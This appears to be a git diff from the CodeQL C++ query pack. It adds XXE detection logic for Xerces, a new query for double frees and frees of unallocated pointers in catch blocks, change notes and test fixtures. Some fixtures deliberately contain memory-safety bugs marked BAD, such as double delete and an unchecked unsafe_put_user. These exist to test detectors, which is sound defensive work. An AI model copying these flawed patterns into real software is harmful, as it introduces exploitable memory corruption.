+  final override XxeFlowState transform(XxeFlowState flowstate) {
+    exists(int createEntityReferenceNodes |
+      encodeXercesFlowState(flowstate, _, createEntityReferenceNodes) and
+      (
+        globalValueNumber(newValue).getAnExpr().getValue().toInt() = 1 and // true
+        encodeXercesFlowState(result, 1, createEntityReferenceNodes)
+        or
+        not globalValueNumber(newValue).getAnExpr().getValue().toInt() = 1 and // false or unknown
+        encodeXercesFlowState(result, 0, createEntityReferenceNodes)
+      )
+    )
+  }
+}
+
+/**
+ * The `DOMLSParser.getDomConfig` function.
+ */
+class GetDomConfig extends Function {
+  GetDomConfig() { this.getClassAndName("getDomConfig") instanceof DomLSParserClass }
+}
+
+/**
+ * The `DOMConfiguration.setParameter` function.
+ */
+class DomConfigurationSetParameter extends Function {
+  DomConfigurationSetParameter() {
+    this.getClassAndName("setParameter").getName() = "DOMConfiguration"
+  }
+}
+
+/**
+ * A flow state transformer for a call to `DOMConfiguration.setParameter`
+ * specifying the feature `XMLUni::fgXercesDisableDefaultEntityResolution`.
+ * This is a slightly more complex transformer because the qualifier is a
+ * `DOMConfiguration` pointer returned by `DOMLSParser.getDomConfig` - and it
+ * is *that* qualifier we want to transform the flow state of.
+ */
+class DomConfigurationSetParameterTransformer extends XxeFlowStateTransformer {
+  Expr newValue;
+
+  DomConfigurationSetParameterTransformer() {
+    exists(FunctionCall getDomConfigCall, FunctionCall setParameterCall |
+      // this is the qualifier of a call to `DOMLSParser.getDomConfig`.
+      getDomConfigCall.getTarget() instanceof GetDomConfig and
+      this = getDomConfigCall.getQualifier() and
+      // `setParameterCall` is a call to `setParameter` on the return value of
+      // the same call to `DOMLSParser.getDomConfig`.
+      setParameterCall.getTarget() instanceof DomConfigurationSetParameter and
+      globalValueNumber(setParameterCall.getQualifier()).getAnExpr() = getDomConfigCall and
+      // the parameter being set is
+      // `XMLUni::fgXercesDisableDefaultEntityResolution`.
+      globalValueNumber(setParameterCall.getArgument(0)).getAnExpr().(VariableAccess).getTarget()
+        instanceof FeatureDisableDefaultEntityResolution and
+      // the value being set is `newValue`.
+      newValue = setParameterCall.getArgument(1)
+    )
+  }
+
+  final override XxeFlowState transform(XxeFlowState flowstate) {
+    exists(int createEntityReferenceNodes |
+      encodeXercesFlowState(flowstate, _, createEntityReferenceNodes) and
+      (
+        globalValueNumber(newValue).getAnExpr().getValue().toInt() = 1 and // true
+        encodeXercesFlowState(result, 1, createEntityReferenceNodes)
+        or
+        not globalValueNumber(newValue).getAnExpr().getValue().toInt() = 1 and // false or unknown
+        encodeXercesFlowState(result, 0, createEntityReferenceNodes)
+      )
+    )
+  }
+}
diff --git a/cpp/ql/src/change-notes/2022-04-12-unused-local-variable.md b/cpp/ql/src/change-notes/2022-04-12-unused-local-variable.md
new file mode 100644
index 00000000000..d4120401e1a
--- /dev/null
+++ b/cpp/ql/src/change-notes/2022-04-12-unused-local-variable.md
@@ -0,0 +1,4 @@
+---
+category: minorAnalysis
+---
+* The `cpp/unused-local-variable` no longer ignores functions that include `if` and `switch` statements with C++17-style initializers.
diff --git a/cpp/ql/src/change-notes/2022-05-12-external-entity-expansion.md b/cpp/ql/src/change-notes/2022-05-12-external-entity-expansion.md
new file mode 100644
index 00000000000..7d2f38c5040
--- /dev/null
+++ b/cpp/ql/src/change-notes/2022-05-12-external-entity-expansion.md
@@ -0,0 +1,4 @@
+---
+category: minorAnalysis
+---
+* The "XML external entity expansion" (`cpp/external-entity-expansion`) query precision has been increased to `high`.
diff --git a/cpp/ql/src/change-notes/2022-04-13-pexternal-entity-expansion.md b/cpp/ql/src/change-notes/released/0.1.1.md
similarity index 85%
rename from cpp/ql/src/change-notes/2022-04-13-pexternal-entity-expansion.md
rename to cpp/ql/src/change-notes/released/0.1.1.md
index 9fa66388f7e..56f7297cf67 100644
--- a/cpp/ql/src/change-notes/2022-04-13-pexternal-entity-expansion.md
+++ b/cpp/ql/src/change-notes/released/0.1.1.md
@@ -1,4 +1,5 @@
----
-category: newQuery
----
+## 0.1.1
+
+### New Queries
+
 * An new query `cpp/external-entity-expansion` has been added. The query detects XML objects that are vulnerable to external entity expansion (XXE) attacks.
diff --git a/cpp/ql/src/change-notes/released/0.1.2.md b/cpp/ql/src/change-notes/released/0.1.2.md
new file mode 100644
index 00000000000..ca3236f5950
--- /dev/null
+++ b/cpp/ql/src/change-notes/released/0.1.2.md
@@ -0,0 +1,5 @@
+## 0.1.2
+
+### Minor Analysis Improvements
+
+* The "XML external entity expansion" (`cpp/external-entity-expansion`) query has been extended to support a broader selection of XML libraries and interfaces.
diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml
index 2e08f40f6aa..6abd14b1ef8 100644
--- a/cpp/ql/src/codeql-pack.release.yml
+++ b/cpp/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.1.2
diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-266/IncorrectPrivilegeAssignment.ql b/cpp/ql/src/experimental/Security/CWE/CWE-266/IncorrectPrivilegeAssignment.ql
index 8411d0ba2e2..5bdd5a21fe5 100644
--- a/cpp/ql/src/experimental/Security/CWE/CWE-266/IncorrectPrivilegeAssignment.ql
+++ b/cpp/ql/src/experimental/Security/CWE/CWE-266/IncorrectPrivilegeAssignment.ql
@@ -58,7 +58,7 @@ where
       // unfortunately cannot use numeric value here because // O_CREAT is defined differently on different OSes:
       // https://github.com/red/red/blob/92feb0c0d5f91e087ab35fface6906afbf99b603/runtime/definitions.reds#L477-L491
       // this may introduce false negatives
-      fctmp.getArgument(1).(BitwiseOrExpr).getAChild*().getValueText().matches("O_CREAT") or
+      fctmp.getArgument(1).(BitwiseOrExpr).getAChild*().getValueText() = "O_CREAT" or
       fctmp.getArgument(1).getValueText().matches("%O_CREAT%")
     ) and
     fctmp.getNumberOfArguments() = 2 and
diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.cpp b/cpp/ql/src/experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.cpp
new file mode 100644
index 00000000000..ea4686fdb8c
--- /dev/null
+++ b/cpp/ql/src/experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.cpp
@@ -0,0 +1,48 @@
+...
+try {
+  if (checkValue) throw exception();
+  bufMyData =  new myData*[sizeInt];
+	 
+  } 
+  catch (...) 
+  {
+    for (size_t i = 0; i < sizeInt; i++)
+    {
+    	delete[] bufMyData[i]->buffer; // BAD
+        delete bufMyData[i];
+    }
+...
+try {
+  if (checkValue) throw exception();
+  bufMyData =  new myData*[sizeInt];
+	 
+  } 
+  catch (...) 
+  {
+    for (size_t i = 0; i < sizeInt; i++)
+    {
+      if(bufMyData[i])
+      {
+    	delete[] bufMyData[i]->buffer; // GOOD
+        delete bufMyData[i];
+      }
+    }
+
+...
+  catch (const exception &) {
+	  delete valData;
+	  throw;
+  }
+  catch (...) 
+  {
+    delete valData; // BAD
+...
+  catch (const exception &) {
+	  delete valData;
+    valData = NULL;
+	  throw;
+  }
+  catch (...) 
+  {
+    delete valData; // GOOD  
+...
diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.qhelp
new file mode 100644
index 00000000000..b9a2e3db331
--- /dev/null
+++ b/cpp/ql/src/experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.qhelp
@@ -0,0 +1,23 @@
+<!DOCTYPE qhelp PUBLIC
+  "-//Semmle//qhelp//EN"
+  "qhelp.dtd">
+<qhelp>
+<overview>
+<p>When releasing memory in a catch block, be sure that the memory was allocated and has not already been released.</p>
+
+</overview>
+
+<example>
+<p>The following example shows erroneous and fixed ways to use exception handling.</p>
+<sample src="DangerousUseOfExceptionBlocks.cpp" />
+
+</example>
+<references>
+
+<li>
+  CERT C Coding Standard:
+  <a href="https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers">EXP34-C. Do not dereference null pointers</a>.
+</li>
+
+</references>
+</qhelp>
diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.ql b/cpp/ql/src/experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.ql
new file mode 100644
index 00000000000..2feca267902
--- /dev/null
+++ b/cpp/ql/src/experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.ql
@@ -0,0 +1,199 @@
+/**
+ * @name Dangerous use of exception blocks.
+ * @description When clearing the data in the catch block, you must be sure that the memory was allocated before the exception.
+ * @kind problem
+ * @id cpp/dangerous-use-of-exception-blocks
+ * @problem.severity warning
+ * @precision medium
+ * @tags correctness
+ *       security
+ *       external/cwe/cwe-476
+ *       external/cwe/cwe-415
+ */
+
+import cpp
+
+/** Holds if `vr` may be released in the `try` block associated with `cb`, or in a `catch` block prior to `cb`. */
+pragma[inline]
+predicate doubleCallDelete(BlockStmt b, CatchAnyBlock cb, Variable vr) {
+  // Search for exceptions after freeing memory.
+  exists(Expr e1 |
+    // `e1` is a delete of `vr`
+    (
+      e1 = vr.getAnAccess().getEnclosingStmt().(ExprStmt).getExpr().(DeleteArrayExpr) or
+      e1 = vr.getAnAccess().getEnclosingStmt().(ExprStmt).getExpr().(DeleteExpr)
+    ) and
+    e1.getEnclosingFunction() = cb.getEnclosingFunction() and
+    // there is no assignment `vr = 0` in the `try` block after `e1`
+    not exists(AssignExpr ae |
+      ae.getLValue().(VariableAccess).getTarget() = vr and
+      ae.getRValue().getValue() = "0" and
+      e1.getASuccessor+() = ae and
+      ae.getEnclosingStmt().getParentStmt*() = b
+    ) and
+    // `e2` is a `throw` (or a function call that may throw) that occurs in the `try` or `catch` block after `e1`
+    exists(Expr e2, ThrowExpr th |
+      (
+        e2 = th or
+        e2 = th.getEnclosingFunction().getACallToThisFunction()
+      ) and
+      e2.getEnclosingStmt().getParentStmt*() = b and
+      e1.getASuccessor+() = e2
+    ) and
+    e1.getEnclosingStmt().getParentStmt*() = b and
+    (
+      // Search for a situation where there is a release in the block of `try`.
+      b = cb.getTryStmt().getStmt()
+      or
+      // Search for a situation when there is a higher catch block that also frees memory.
+      exists(b.(CatchBlock).getParameter())
+    ) and
+    // Exclude the presence of a check in catch block.
+    not exists(IfStmt ifst | ifst.getEnclosingStmt().getParentStmt*() = cb.getAStmt())
+  )
+}
+
+/** Holds if an exception can be thrown before the memory is allocated, and when the exception is handled, an attempt is made to access unallocated memory in the catch block. */
+pragma[inline]
+predicate pointerDereference(CatchAnyBlock cb, Variable vr, Variable vro) {
+  // Search exceptions before allocating memory.
+  exists(Expr e0, Expr e1 |
+    (
+      // `e0` is a `new` expression (or equivalent function call) assigned to `vro`
+      exists(AssignExpr ase |
+        ase = vro.getAnAccess().getEnclosingStmt().(ExprStmt).getExpr() and
+        (
+          e0 = ase.getRValue().(NewOrNewArrayExpr) or
+          e0 = ase.getRValue().(NewOrNewArrayExpr).getEnclosingFunction().getACallToThisFunction()
+        ) and
+        vro = ase.getLValue().(VariableAccess).getTarget()
+      )
+      or
+      // `e0` is a `new` expression (or equivalent function call) assigned to the array element `vro`
+      exists(AssignExpr ase |
+        ase = vro.getAnAccess().(Qualifier).getEnclosingStmt().(ExprStmt).getExpr() and
+        (
+          e0 = ase.getRValue().(NewOrNewArrayExpr) or
+          e0 = ase.getRValue().(NewOrNewArrayExpr).getEnclosingFunction().getACallToThisFunction()
+        ) and
+        not ase.getLValue() instanceof VariableAccess and
+        vro = ase.getLValue().getAPredecessor().(VariableAccess).getTarget()
+      )
+    ) and
+    // `e1` is a `new` expression (or equivalent function call) assigned to `vr`
+    exists(AssignExpr ase |
+      ase = vr.getAnAccess().getEnclosingStmt().(ExprStmt).getExpr() and
+      (
+        e1 = ase.getRValue().(NewOrNewArrayExpr) or
+        e1 = ase.getRValue().(NewOrNewArrayExpr).getEnclosingFunction().getACallToThisFunction()
+      ) and
+      vr = ase.getLValue().(VariableAccess).getTarget()
+    ) and
+    e0.getASuccessor*() = e1 and
+    e0.getEnclosingStmt().getParentStmt*() = cb.getTryStmt().getStmt() and
+    e1.getEnclosingStmt().getParentStmt*() = cb.getTryStmt().getStmt() and
+    // `e2` is a `throw` (or a function call that may throw) that occurs in the `try` block before `e0`
+    exists(Expr e2, ThrowExpr th |
+      (
+        e2 = th or
+        e2 = th.getEnclosingFunction().getACallToThisFunction()
+      ) and
+      e2.getEnclosingStmt().getParentStmt*() = cb.getTryStmt().getStmt() and
+      e2.getASuccessor+() = e0
+    )
+  ) and
+  // We exclude checking the value of a variable or its parent in the catch block.
+  not exists(IfStmt ifst |
+    ifst.getEnclosingStmt().getParentStmt*() = cb.getAStmt() and
+    (
+      ifst.getCondition().getAChild*().(VariableAccess).getTarget() = vr or
+      ifst.getCondition().getAChild*().(VariableAccess).getTarget() = vro
+    )
+  )
+}
+
+/** Holds if `vro` may be released in the `catch`. */
+pragma[inline]
+predicate newThrowDelete(CatchAnyBlock cb, Variable vro) {
+  exists(Expr e0, AssignExpr ase, NewOrNewArrayExpr nae |
+    ase = vro.getAnAccess().getEnclosingStmt().(ExprStmt).getExpr() and
+    nae = ase.getRValue() and
+    not nae.getAChild*().toString() = "nothrow" and
+    (
+      e0 = nae or
+      e0 = nae.getEnclosingFunction().getACallToThisFunction()
+    ) and
+    vro = ase.getLValue().(VariableAccess).getTarget() and
+    e0.getEnclosingStmt().getParentStmt*() = cb.getTryStmt().getStmt() and
+    not exists(AssignExpr ase1 |
+      vro = ase1.getLValue().(VariableAccess).getTarget() and
+      ase1.getRValue().getValue() = "0" and
+      ase1.getASuccessor*() = e0
+    )
+  ) and
+  not exists(Initializer it |
+    vro.getInitializer() = it and
+    it.getExpr().getValue() = "0"
+  ) and
+  not exists(ConstructorFieldInit ci | vro = ci.getTarget())
+}
+
+from CatchAnyBlock cb, string msg
+where
+  exists(Variable vr, Variable vro, Expr exp |
+    exp.getEnclosingStmt().getParentStmt*() = cb and
+    exists(VariableAccess va |
+      (
+        (
+          va = exp.(DeleteArrayExpr).getExpr().getAPredecessor+().(Qualifier) or
+          va = exp.(DeleteArrayExpr).getExpr().getAPredecessor+()
+        ) and
+        vr = exp.(DeleteArrayExpr).getExpr().(VariableAccess).getTarget()
+        or
+        (
+          va = exp.(DeleteExpr).getExpr().getAPredecessor+().(Qualifier) or
+          va = exp.(DeleteExpr).getExpr().getAPredecessor+()
+        ) and
+        vr = exp.(DeleteExpr).getExpr().(VariableAccess).getTarget()
+      ) and
+      va.getEnclosingStmt() = exp.getEnclosingStmt() and
+      vro = va.getTarget() and
+      vr != vro
+    ) and
+    pointerDereference(cb, vr, vro) and
+    msg =
+      "it is possible to dereference a pointer when accessing a " + vr.getName() +
+        ", since it is possible to throw an exception before the memory for the " + vro.getName() +
+        " is allocated"
+  )
+  or
+  exists(Expr exp, Variable vr |
+    (
+      exp.(DeleteExpr).getEnclosingStmt().getParentStmt*() = cb and
+      vr = exp.(DeleteExpr).getExpr().(VariableAccess).getTarget()
+      or
+      exp.(DeleteArrayExpr).getEnclosingStmt().getParentStmt*() = cb and
+      vr = exp.(DeleteArrayExpr).getExpr().(VariableAccess).getTarget()
+    ) and
+    doubleCallDelete(_, cb, vr) and
+    msg =
+      "This allocation may have been released in the try block or a previous catch block." +
+        vr.getName()
+  )
+  or
+  exists(Variable vro, Expr exp |
+    exp.getEnclosingStmt().getParentStmt*() = cb and
+    exists(VariableAccess va |
+      (
+        va = exp.(DeleteArrayExpr).getExpr() or
+        va = exp.(DeleteExpr).getExpr()
+      ) and
+      va.getEnclosingStmt() = exp.getEnclosingStmt() and
+      vro = va.getTarget()
+    ) and
+    newThrowDelete(cb, vro) and
+    msg =
+      "If the allocation in the try block fails, then an unallocated pointer " + vro.getName() +
+        " will be freed in the catch block."
+  )
+select cb, msg
diff --git a/cpp/ql/src/jsf/4.05 Libraries/AV Rule 23.ql b/cpp/ql/src/jsf/4.05 Libraries/AV Rule 23.ql
index 9bb63cb6b29..ff4b1baec76 100644
--- a/cpp/ql/src/jsf/4.05 Libraries/AV Rule 23.ql	
+++ b/cpp/ql/src/jsf/4.05 Libraries/AV Rule 23.ql	
@@ -13,7 +13,7 @@ import cpp
 
 from Function f
 where
-  f.getName().regexpMatch("atof|atoi|atol") and
+  f.getName() = ["atof", "atoi", "atol"] and
   f.getFile().getAbsolutePath().matches("%stdlib.h")
 select f.getACallToThisFunction(),
   "AV Rule 23: The library functions atof, atoi and atol from library <stdlib.h> shall not be used."
diff --git a/cpp/ql/src/jsf/4.05 Libraries/AV Rule 24.ql b/cpp/ql/src/jsf/4.05 Libraries/AV Rule 24.ql
index 9e0fd1d5de8..3bf27d8121c 100644
--- a/cpp/ql/src/jsf/4.05 Libraries/AV Rule 24.ql	
+++ b/cpp/ql/src/jsf/4.05 Libraries/AV Rule 24.ql	
@@ -13,7 +13,7 @@ import cpp
 
 from Function f
 where
-  f.getName().regexpMatch("abort|exit|getenv|system") and
+  f.getName() = ["abort", "exit", "getenv", "system"] and
   f.getFile().getAbsolutePath().matches("%stdlib.h")
 select f.getACallToThisFunction(),
   "The library functions abort, exit, getenv and system from library <stdlib.h> should not be used."
diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml
index 3f439e5eec8..b31a20cb12a 100644
--- a/cpp/ql/src/qlpack.yml
+++ b/cpp/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/cpp-queries
-version: 0.1.1-dev
+version: 0.1.3-dev
 groups: 
   - cpp
   - queries
diff --git a/cpp/ql/test/TestUtilities/InlineExpectationsTest.qll b/cpp/ql/test/TestUtilities/InlineExpectationsTest.qll
index a4d264b2703..3891fcf13a1 100644
--- a/cpp/ql/test/TestUtilities/InlineExpectationsTest.qll
+++ b/cpp/ql/test/TestUtilities/InlineExpectationsTest.qll
@@ -181,7 +181,7 @@ private string expectationCommentPattern() { result = "\\s*\\$((?:[^/]|/[^/])*)(
 /**
  * The possible columns in an expectation comment. The `TDefaultColumn` branch represents the first
  * column in a comment. This column is not precedeeded by a name. `TNamedColumn(name)` represents a
- * column containing expected results preceeded by the string `name:`.
+ * column containing expected results preceded by the string `name:`.
  */
 private newtype TColumn =
   TDefaultColumn() or
diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.expected
new file mode 100644
index 00000000000..ffb7941f1cd
--- /dev/null
+++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.expected
@@ -0,0 +1 @@
+| test.cpp:14:16:14:16 | p | unsafe_put_user write user-mode pointer $@ without check. | test.cpp:14:16:14:16 | p | p |
diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.qlref
new file mode 100644
index 00000000000..a4543b332dd
--- /dev/null
+++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/NoCheckBeforeUnsafePutUser.qlref
@@ -0,0 +1 @@
+experimental/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser.ql
diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/test.cpp
new file mode 100644
index 00000000000..755a73864c7
--- /dev/null
+++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-020/NoCheckBeforeUnsafePutUser/test.cpp
@@ -0,0 +1,82 @@
+
+typedef unsigned long size_t;
+
+void SYSC_SOMESYSTEMCALL(void *param);
+
+bool user_access_begin_impl(const void *where, size_t sz);
+void user_access_end_impl();
+#define user_access_begin(where, sz) user_access_begin_impl(where, sz)
+#define user_access_end() user_access_end_impl()
+
+void unsafe_put_user_impl(int what, const void *where, size_t sz);
+#define unsafe_put_user(what, where) unsafe_put_user_impl( (what), (where), sizeof(*(where)) )
+
+void test1(int p)
+{
+	SYSC_SOMESYSTEMCALL(&p);
+
+	unsafe_put_user(123, &p); // BAD
+}
+
+void test2(int p)
+{
+	SYSC_SOMESYSTEMCALL(&p);
+
+	if (user_access_begin(&p, sizeof(p)))
+	{
+		unsafe_put_user(123, &p); // GOOD
+
+		user_access_end();
+	}
+}
+
+void test3()
+{
+	int v;
+
+	SYSC_SOMESYSTEMCALL(&v);
+
+	unsafe_put_user(123, &v); // BAD [NOT DETECTED]
+}
+
+void test4()
+{
+	int v;
+
+	SYSC_SOMESYSTEMCALL(&v);
+
+	if (user_access_begin(&v, sizeof(v)))
+	{
+		unsafe_put_user(123, &v); // GOOD
+
+		user_access_end();
+	}
+}
+
+struct data
+{
+	int x;
+};
+
+void test5()
+{
+	data myData;
+
+	SYSC_SOMESYSTEMCALL(&myData);
+
+	unsafe_put_user(123, &(myData.x)); // BAD [NOT DETECTED]
+}
+
+void test6()
+{
+	data myData;
+
+	SYSC_SOMESYSTEMCALL(&myData);
+
+	if (user_access_begin(&myData, sizeof(myData)))
+	{
+		unsafe_put_user(123, &(myData.x)); // GOOD
+
+		user_access_end();
+	}
+}
diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.expected
new file mode 100644
index 00000000000..728a9e8b3d5
--- /dev/null
+++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.expected
@@ -0,0 +1,8 @@
+| test.cpp:63:3:71:3 | { ... } | If the allocation in the try block fails, then an unallocated pointer bufMyData will be freed in the catch block. |
+| test.cpp:63:3:71:3 | { ... } | If the allocation in the try block fails, then an unallocated pointer buffer will be freed in the catch block. |
+| test.cpp:63:3:71:3 | { ... } | it is possible to dereference a pointer when accessing a buffer, since it is possible to throw an exception before the memory for the bufMyData is allocated |
+| test.cpp:91:3:100:3 | { ... } | If the allocation in the try block fails, then an unallocated pointer buffer will be freed in the catch block. |
+| test.cpp:120:3:128:3 | { ... } | If the allocation in the try block fails, then an unallocated pointer buffer will be freed in the catch block. |
+| test.cpp:143:3:151:3 | { ... } | If the allocation in the try block fails, then an unallocated pointer buffer will be freed in the catch block. |
+| test.cpp:181:3:183:3 | { ... } | This allocation may have been released in the try block or a previous catch block.valData |
+| test.cpp:219:3:221:3 | { ... } | This allocation may have been released in the try block or a previous catch block.valData |
diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.qlref
new file mode 100644
index 00000000000..c67adb8774b
--- /dev/null
+++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.qlref
@@ -0,0 +1 @@
+experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.ql
diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp
new file mode 100644
index 00000000000..de0be1efff2
--- /dev/null
+++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp
@@ -0,0 +1,255 @@
+#define NULL ((void*)0)
+typedef unsigned long size_t;
+namespace std {
+  enum class align_val_t : size_t {};
+}
+
+class exception {};
+
+void cleanFunction();
+
+void* operator new(size_t, float);
+void* operator new[](size_t, float);
+void* operator new(size_t, std::align_val_t, float);
+void* operator new[](size_t, std::align_val_t, float);
+void operator delete(void*, float);
+void operator delete[](void*, float);
+void operator delete(void*, std::align_val_t, float);
+void operator delete[](void*, std::align_val_t, float);
+
+struct myData
+{
+    int		sizeInt;
+    char*	buffer;
+};
+
+struct myGlobalData
+{
+    int		sizeInt;
+    myData**	bufMyData;
+};
+
+void allocData(myData ** bufMyData) {
+    for (size_t i = 0; i < 10; i++)
+    {
+        bufMyData[i] = new myData;
+	bufMyData[i]->sizeInt = 10;
+	bufMyData[i]->buffer = new char[10];
+    }
+}
+
+
+void throwFunction(int a) {
+	if (a == 5)  throw "my exception!";
+}
+void throwFunction2(int a) {
+	if (a == 5) throw exception();
+}
+void funcWork1b() {
+  int a;
+  myData **bufMyData;
+
+  try { 
+  	cleanFunction();
+	throwFunction(a);
+
+        bufMyData =  new myData*[10];
+	cleanFunction();
+	allocData(bufMyData);
+	cleanFunction();
+	 
+  } 
+  catch (...) 
+  {
+    for (size_t i = 0; i < 10; i++)
+    {
+    	delete[] bufMyData[i]->buffer; // BAD
+        delete bufMyData[i];
+    }
+    delete [] bufMyData;
+
+  }
+}
+
+void funcWork1() {
+  int a;
+  int i;
+  myData **bufMyData;
+
+  bufMyData =  new myData*[10];
+  for (i = 0; i < 10; i++)
+    bufMyData[i] = 0;
+  try { 
+  	cleanFunction();
+	throwFunction(a);
+	cleanFunction();
+	allocData(bufMyData);
+	cleanFunction();
+	 
+  } 
+  catch (...) 
+  {
+    for (size_t i = 0; i < 10; i++)
+    {
+	if (bufMyData[i]) 
+       	    delete[] bufMyData[i]->buffer; // BAD
+        delete bufMyData[i];
+    }
+    delete [] bufMyData;
+
+  }
+}
+
+void funcWork2() {
+  int a;
+  myData **bufMyData;
+
+  bufMyData =  new myData*[10];
+  try { 
+ 	do {
+		cleanFunction();
+		allocData(bufMyData);
+		cleanFunction();
+		throwFunction(a);
+
+	}
+	while(0);
+	 
+  } 
+  catch (...) 
+  {
+    for (size_t i = 0; i < 10; i++)
+    {
+    	delete[] bufMyData[i]->buffer; // BAD
+        delete bufMyData[i];
+    }
+    delete [] bufMyData;
+
+  }
+}
+void funcWork3() {
+  int a;
+  myData **bufMyData;
+
+  bufMyData =  new myData*[10];
+  try { 
+	cleanFunction();
+	allocData(bufMyData);
+	cleanFunction();
+	throwFunction(a);
+ 
+  } 
+  catch (...) 
+  {
+    for (size_t i = 0; i < 10; i++)
+    {
+    	delete[] bufMyData[i]->buffer; // BAD
+        delete bufMyData[i];
+    }
+    delete [] bufMyData;
+
+  }
+}
+
+
+void funcWork4() {
+  int a;
+  myGlobalData *valData = 0;
+  try { 
+	valData = new myGlobalData;
+	cleanFunction();
+	delete valData;
+	valData = 0;
+	throwFunction(a);	 
+  } 
+  catch (...) 
+  {
+    delete valData; // GOOD
+  }
+}
+
+void funcWork4b() {
+  int a;
+  myGlobalData *valData = 0;
+  try { 
+	valData = new myGlobalData;
+	cleanFunction();
+	delete valData;
+	throwFunction(a);	 
+  } 
+  catch (...) 
+  {
+    delete valData; // BAD
+  }
+}
+void funcWork5() {
+  int a;
+  myGlobalData *valData = 0;
+  try { 
+	valData = new myGlobalData;
+	cleanFunction();
+	delete valData;
+	valData = 0;
+	throwFunction2(a);	 
+  } 
+  catch (const exception &) {
+	delete valData;
+	valData = 0;
+	throw;
+  }
+  catch (...) 
+  {
+        delete valData; // GOOD
+  }
+}
+
+void funcWork5b() {
+  int a;
+  myGlobalData *valData = 0;
+  try { 
+	valData = new myGlobalData;
+	cleanFunction();
+	throwFunction2(a);	 
+  } 
+  catch (const exception &) {
+	delete valData;
+	throw;
+  }
+  catch (...) 
+  {
+        delete valData; // BAD
+  }
+}
+void funcWork6() {
+  int a;
+  int flagB = 0;
+  myGlobalData *valData = 0;
+  try { 
+	valData = new myGlobalData;
+	cleanFunction();
+	throwFunction2(a);	 
+  } 
+  catch (const exception &) {
+	delete valData;
+	flagB = 1;
+	throw;
+  }
+  catch (...) 
+  {
+	if(flagB == 0)
+        delete valData; // GOOD
+  }
+}
+
+void runnerFunc()
+{
+  funcWork1();
+  funcWork1b();
+  funcWork2();
+  funcWork3();
+  funcWork4();
+  funcWork4b();
+  funcWork5();
+  funcWork5b();
+  funcWork6();
+}
diff --git a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected
index af029bf3748..9aedef96249 100644
--- a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected
+++ b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected
@@ -13559,6 +13559,422 @@ ir.cpp:
 # 1754|                   Type = [SpecifiedType] const CopyConstructorTestVirtualClass
 # 1754|                   ValueCategory = lvalue
 # 1755|     getStmt(2): [ReturnStmt] return ...
+# 1757| [TopLevelFunction] void if_initialization(int)
+# 1757|   <params>: 
+# 1757|     getParameter(0): [Parameter] x
+# 1757|         Type = [IntType] int
+# 1757|   getEntryPoint(): [BlockStmt] { ... }
+# 1758|     getStmt(0): [IfStmt] if (...) ... 
+# 1758|       getInitialization(): [DeclStmt] declaration
+# 1758|         getDeclarationEntry(0): [VariableDeclarationEntry] definition of y
+# 1758|             Type = [IntType] int
+# 1758|           getVariable().getInitializer(): [Initializer] initializer for y
+# 1758|             getExpr(): [VariableAccess] x
+# 1758|                 Type = [IntType] int
+# 1758|                 ValueCategory = prvalue(load)
+# 1758|       getCondition(): [AddExpr] ... + ...
+# 1758|           Type = [IntType] int
+# 1758|           ValueCategory = prvalue
+# 1758|         getLeftOperand(): [VariableAccess] x
